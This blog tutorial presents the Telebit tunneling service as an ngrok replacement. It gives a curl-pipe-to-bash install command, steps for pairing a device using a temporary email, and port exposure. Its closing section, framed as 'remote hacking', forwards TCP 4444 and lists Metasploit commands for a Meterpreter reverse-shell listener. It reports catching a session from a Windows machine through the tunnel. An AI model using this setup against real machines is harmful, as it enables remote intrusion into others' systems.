Hello there, Masaud here. Today we will not talk about ngrok at all. In this article, I am going to teach you a completely new and unique method. After learning this method, you will definitely find peace in your life.
Ngrok is a service used to remotely access local services or web servers for hacking purposes. However, nowadays it has many restrictions, so in today’s article, I am going to tell you about a true replacement for ngrok, which you can use just like ngrok without any issues. Its use and configuration are also very easy. So let’s find out how we can use it. (Publicly Accessible Localhost Service Free cloud service)
The service I am talking about is called Telebit. With Telebit, you can remotely access any of your devices through a secure tunnel. This allows you to easily share your stuff and remotely access your Raspberry Pi devices. You can also use Telebit to build peer-to-peer apps and test your webhooks. It’s a great tool for showcasing your projects, whether it’s your office project or your school/college/university project. With Telebit, you can remotely test any webserver or website on your mobile device. Additionally, you can use it to expose your local services to the internet and access them from any device over the internet.
Telebit Quickstart with Bash
Setting up and installing Telebit is very easy.
Copy the command given below and paste it into your terminal. Telebit will be installed on your system in no time.
curl https://get.telebit.io/ | bash
After Telebit has been installed on your system, you will need to configure it. To configure Telebit, simply enter your email address to agree and login or create your account.
Now we will configure Telebit. After installing the tool on your system, you will need to configure it.
First, you will be asked to enter your email address for login purposes. You can use any temporary email for this purpose. Simply copy the email address from the temporary email and paste it into your terminal, then press enter.
Once you have entered your email address, you will need to verify your email and peer your device.
Go to your email, and you will receive an email containing a link. Click on the link to open a new tab, where you will be prompted to enter the pairing code. (Publicly Accessible Localhost Service Free cloud service)
Enter the code, agree to the terminal services, and click on “Claim Device.”
Congratulations! Your email has been verified, and your device has been paired.
Now, you will receive an address. This address is a permanent address that will not change repeatedly like ngrok. This is a static address that you can use to access your secure tunnel. You can access your services anywhere on the internet. So, your Telebit setup is complete, and you can press enter to continue.
How to use Telebit
hit command ~/telebit -h
This command will open the Telebit help menu which lists all available options and their respective functions. Using Telebit, you can create secure tunnels for http, ssh, and tcp protocols.
For local Development
~/telebit http 3000
You can expose your local website on the internet using this method, and you can also use ports 8080 and 80.
To stop this service, use:
to activate this service again use
Now let’s get to our main topic. You can also use this for remote hacking, for example, if you want to do port forwarding for a TCP connection, you can do that too. With this, you can also get a reverse shell with Metasploit and easily backconnect with NC. Let’s learn how to do it.
I have already forwarded TCP port 4444. Now I will start my Metasploit listener on the same port and then test if we can get a reverse connection or not.
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- set lhost 127.0.0.1
- set lport 4444
- exploit -j
I have started the listener, which is waiting for a connection.
Now I have injected the payload into the Windows machine and executed it.
As you can see, I have received a connection.
You can clearly see that the connection I received is not on the local network as I have checked the network section and it seems like I am using telebit.cloud.
Follow us on Twitter @masaudsec